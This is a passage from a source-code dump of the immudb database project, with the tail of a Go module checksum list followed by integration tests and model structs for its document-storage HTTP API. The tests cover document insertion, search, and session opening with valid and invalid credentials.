h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=\ngithub.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=\ngithub.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=\ngithub.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng=\ngithub.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=\ngithub.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0=\ngithub.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0=\ngithub.com/onsi/ginkgo v1.10.1 h1:q/mM8GF/n0shIN8SaAZ0V+jnLPzen6WIVZdiwrRlMlo=\ngithub.com/onsi/ginkgo v1.10.1/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=\ngithub.com/onsi/gomega v1.7.0 h1:XPnZz8VVBHjVsy1vzJmRwIcSwiUO+JFfrv/xGiigmME=\ngithub.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=\ngithub.com/pkg/diff v0.0.0-20200914180035-5b29258ca4f7/go.mod h1:zO8QMzTeZd5cpnIkz/Gn6iK0jDfGicM1nynOkkPIl28=\ngithub.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/sanity-io/litter v1.5.5 h1:iE+sBxPBzoK6uaEP5Lt3fHNgpKcHXc/A2HGETy0uJQo=\ngithub.com/sanity-io/litter v1.5.5/go.mod h1:9gzJgR2i4ZpjZHsKvUXIRQVk7P+yM3e+jAF7bU2UI5U=\ngithub.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ=\ngithub.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=\ngithub.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=\ngithub.com/stretchr/testify v0.0.0-20161117074351-18a02ba4a312/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=\ngithub.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=\ngithub.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=\ngithub.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=\ngithub.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=\ngithub.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=\ngithub.com/tailscale/depaware v0.0.0-20210622194025-720c4b409502/go.mod h1:p9lPsd+cx33L3H9nNoecRRxPssFKUwwI50I3pZ0yT+8=\ngithub.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=\ngithub.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=\ngithub.com/valyala/fasthttp v1.34.0 h1:d3AAQJ2DRcxJYHm7OXNXtXt2as1vMDfxeIcFvhmGGm4=\ngithub.com/valyala/fasthttp v1.34.0/go.mod h1:epZA5N+7pY6ZaEKRmstzOuYJx9HI8DI1oaCGZpdH4h0=\ngithub.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc=\ngithub.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU=\ngithub.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb h1:zGWFAtiMcyryUHoUjUJX0/lt1H2+i2Ka2n+D3DImSNo=\ngithub.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU=\ngithub.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0=\ngithub.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ=\ngithub.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74=\ngithub.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y=\ngithub.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 h1:6fRhSjgLCkTD3JnJxvaJ4Sj+TYblw757bqYgZaOq5ZY=\ngithub.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0/go.mod h1:/LWChgwKmvncFJFHJ7Gvn9wZArjbV5/FppcK2fKk/tI=\ngithub.com/yudai/gojsondiff v1.0.0 h1:27cbfqXLVEJ1o8I6v3y9lg8Ydm53EKqHXAOMxEGlCOA=\ngithub.com/yudai/gojsondiff v1.0.0/go.mod h1:AY32+k2cwILAkW1fbgxQ5mUmMiZFgLIV+FBNExI05xg=\ngithub.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 h1:BHyfKlQyqbsFN5p3IfnEUduWvb9is428/nNb5L3U01M=\ngithub.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82/go.mod h1:lgjkn3NuSvDfVJdfcVVdX+jpBxNmX4rDAzaS45IcYoM=\ngithub.com/yudai/pp v2.0.1+incompatible h1:Q4//iY4pNF6yPLZIigmvcl7k/bPgrcTPIFIcmawg5bI=\ngithub.com/yudai/pp v2.0.1+incompatible/go.mod h1:PuxR/8QJ7cyCkFp/aUDS+JY727OFEZkTdatxwunjIkc=\ngithub.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=\ngolang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=\ngolang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60=\ngolang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=\ngolang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=\ngolang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk=\ngolang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20201211185031-d93e913c1a58/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=\ngopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=\ngopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=\ngopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\nmoul.io/http2curl/v2 v2.3.0 h1:9r3JfDzWPcbIklMOs2TnIFzDYvfAZvjeavG6EzP7jYs=\nmoul.io/http2curl/v2 v2.3.0/go.mod h1:RW4hyBjTWSYDOxapodpNEtX0g5Eb16sxklBqmd2RHcE=\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/insert_documents_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions\"\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models\"\n\t\"github.com/gavv/httpexpect/v2\"\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\ntype InsertDocumentsTestSuite struct {\n\tsuite.Suite\n\texpect     *httpexpect.Expect\n\tsessionID  string\n\tcollection *httpexpect.Object\n}\n\nfunc (s *InsertDocumentsTestSuite) SetupTest() {\n\ts.expect, s.sessionID = actions.OpenSession(s.T())\n\ts.collection = actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, uuid.New().String())\n}\n\nfunc (s *InsertDocumentsTestSuite) TestInsertOneDocumentWithMultipleFields() {\n\tdocumentModel := actions.InsertOneDocumentWithMultipleFields(s.expect, s.sessionID, s.collection)\n\n\tfieldComparison := models.FieldComparison{}\n\tfieldComparison.Field = \"first_name\"\n\tfieldComparison.Operator = \"EQ\"\n\tfieldComparison.Value = documentModel.FirstName\n\tdocumentFound := actions.SearchDocuments(s.expect, s.sessionID, s.collection, fieldComparison)\n\n\tdocumentFound.Keys().ContainsOnly(\"_id\", \"birth_date\", \"first_name\", \"last_name\", \"gender\", \"hire_date\")\n\n\tvar employee models.Employee\n\n\tdocumentFound.Decode(&employee)\n\n\tassert.Equal(s.T(), employee.BirthDate, \"1964-06-02\")\n\tassert.Equal(s.T(), employee.FirstName, \"Bezalel\")\n\tassert.Equal(s.T(), employee.LastName, \"Simmel\")\n\tassert.Equal(s.T(), employee.Gender, \"F\")\n\tassert.Equal(s.T(), employee.HireDate, \"1985-11-21\")\n}\n\nfunc TestInsertDocumentsSuite(t *testing.T) {\n\tsuite.Run(t, new(InsertDocumentsTestSuite))\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/models/collections.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage models\n\ntype Collection struct {\n\tName                string  `json:\"name\"`\n\tDocumentIdFieldName string  `json:\"documentIdFieldName\"`\n\tFields              []Field `json:\"fields\"`\n\tIndexes             []Index `json:\"indexes\"`\n}\n\ntype Field struct {\n\tName string `json:\"name\"`\n\tType string `json:\"type\"`\n}\n\ntype Index struct {\n\tFields   []string `json:\"fields\"`\n\tIsUnique bool     `json:\"isUnique\"`\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/models/documents.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage models\n\ntype Employee struct {\n\tBirthDate string `json:\"birth_date\"`\n\tFirstName string `json:\"first_name\"`\n\tLastName  string `json:\"last_name\"`\n\tGender    string `json:\"gender\"`\n\tHireDate  string `json:\"hire_date\"`\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/models/index.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage models\n\ntype CreateIndex struct {\n\tFields   []string `json:\"fields\"`\n\tIsUnique bool     `json:\"isUnique\"`\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/models/search.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage models\n\ntype SearchPayload struct {\n\tQuery    Query `json:\"query\"`\n\tPage     int   `json:\"page\"`\n\tPageSize int   `json:\"pageSize\"`\n\tKeepOpen bool  `json:\"keepOpen\"`\n}\n\ntype Query struct {\n\tExpressions []Expressions `json:\"expressions\"`\n\tOrderBy     []OrderBy     `json:\"orderBy\"`\n\tLimit       int           `json:\"limit\"`\n}\n\ntype Expressions struct {\n\tFieldComparisons []FieldComparison `json:\"fieldComparisons\"`\n}\n\ntype OrderBy struct {\n\tField string `json:\"field\"`\n\tDesc  bool   `json:\"desc\"`\n}\n\ntype FieldComparison struct {\n\tField    string      `json:\"field\"`\n\tOperator string      `json:\"operator\"`\n\tValue    interface{} `json:\"value\"`\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/models/user.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage models\n\ntype User struct {\n\tUsername string `json:\"username\"`\n\tPassword string `json:\"password\"`\n\tDatabase string `json:\"database\"`\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/session_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions\"\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models\"\n\t\"github.com/gavv/httpexpect/v2\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\ntype SessionTestSuite struct {\n\tsuite.Suite\n\texpect *httpexpect.Expect\n}\n\nfunc (s *SessionTestSuite) TestOpenSessionWithInvalidUsername() {\n\tbaseURL := actions.GetBaseUrl()\n\n\tuser := models.User{\n\t\tUsername: \"jon_snow\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"defaultdb\",\n\t}\n\n\texpect := httpexpect.Default(s.T(), baseURL)\n\tresponse := expect.POST(\"/authorization/session/open\").\n\t\tWithJSON(user).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).JSON().Object()\n\n\tresponse.Keys().ContainsOnly(\"code\", \"details\", \"error\", \"message\")\n\tresponse.Value(\"error\").IsEqual(\"invalid user name or password\")\n\tresponse.Value(\"code\").IsEqual(2)\n\tresponse.Value(\"message\").IsEqual(\"invalid user name or password\")\n}\n\nfunc (s *SessionTestSuite) TestOpenSessionWithInvalidPassword() {\n\tbaseURL := actions.GetBaseUrl()\n\n\tuser := models.User{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"know_n0thinG\",\n\t\tDatabase: \"defaultdb\",\n\t}\n\n\texpect := httpexpect.Default(s.T(), baseURL)\n\tresponse := expect.POST(\"/authorization/session/open\").\n\t\tWithJSON(user).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).JSON().Object()\n\n\tresponse.Keys().ContainsOnly(\"code\", \"details\", \"error\", \"message\")\n\tresponse.Value(\"error\").IsEqual(\"invalid user name or password\")\n\tresponse.Value(\"code\").IsEqual(2)\n\tresponse.Value(\"message\").IsEqual(\"invalid user name or password\")\n}\n\nfunc (s *SessionTestSuite) TestOpenSessionWithInvalidCredentials() {\n\tbaseURL := actions.GetBaseUrl()\n\n\tuser := models.User{\n\t\tUsername: \"jon_snow\",\n\t\tPassword: \"know_n0thinG\",\n\t\tDatabase: \"defaultdb\",\n\t}\n\n\texpect := httpexpect.Default(s.T(), baseURL)\n\tresponse := expect.POST(\"/authorization/session/open\").\n\t\tWithJSON(user).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).JSON().Object()\n\n\tprint(response)\n\tresponse.Keys().ContainsOnly(\"code\", \"details\", \"error\", \"message\")\n\tresponse.Value(\"error\").IsEqual(\"invalid user name or password\")\n\tresponse.Value(\"code\").IsEqual(2)\n\tresponse.Value(\"message\").IsEqual(\"invalid user name or password\")\n}\n\nfunc (s *SessionTestSuite) TestOpenSessionWithNonExistingDatabase() {\n\tbaseURL := actions.GetBaseUrl()\n\n\tuser := models.User{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"mydb\",\n\t}\n\n\texpect := httpexpect.Default(s.T(), baseURL)\n\tresponse := expect.POST(\"/authorization/session/open\").\n\t\tWithJSON(user).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).JSON().Object()\n\n\tprint(response)\n\tresponse.Keys().ContainsOnly(\"code\", \"error\", \"message\")\n\tresponse.Value(\"error\").IsEqual(\"database does not exist\")\n\tresponse.Value(\"code\").IsEqual(2)\n\tresponse.Value(\"message\").IsEqual(\"database does not exist\")\n}\n\nfunc TestSessionTestSuite(t *testing.T) {\n\tsuite.Run(t, new(SessionTestSuite))\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/auth_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/httpclient\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestAuthentication(t *testing.T) {\n\tclient := getClient()\n\n\tbadLogin := \"immudbXXX\"\n\tbadPassword := \"immudbXXX\"\n\tbadDatabase := \"defaultdbXXX\"\n\n\tresponse, err := client.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{\n\t\tUsername: &badLogin,\n\t\tPassword: &badPassword,\n\t\tDatabase: &badDatabase,\n\t})\n\trequire.NoError(t, err)\n\trequire.True(t, *response.JSONDefault.Message == \"invalid user name or password\")\n\n\tdefaultLogin := \"immudb\"\n\tdefaultPassword := \"immudb\"\n\tdefaultDatabase := \"defaultdb\"\n\n\tresponse, err = client.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{\n\t\tUsername: &defaultLogin,\n\t\tPassword: &defaultPassword,\n\t\tDatabase: &defaultDatabase,\n\t})\n\trequire.NoError(t, err)\n\trequire.True(t, response.StatusCode() == 200)\n\trequire.True(t, len(*response.JSON200.SessionID) > 0)\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/collections_test.go",
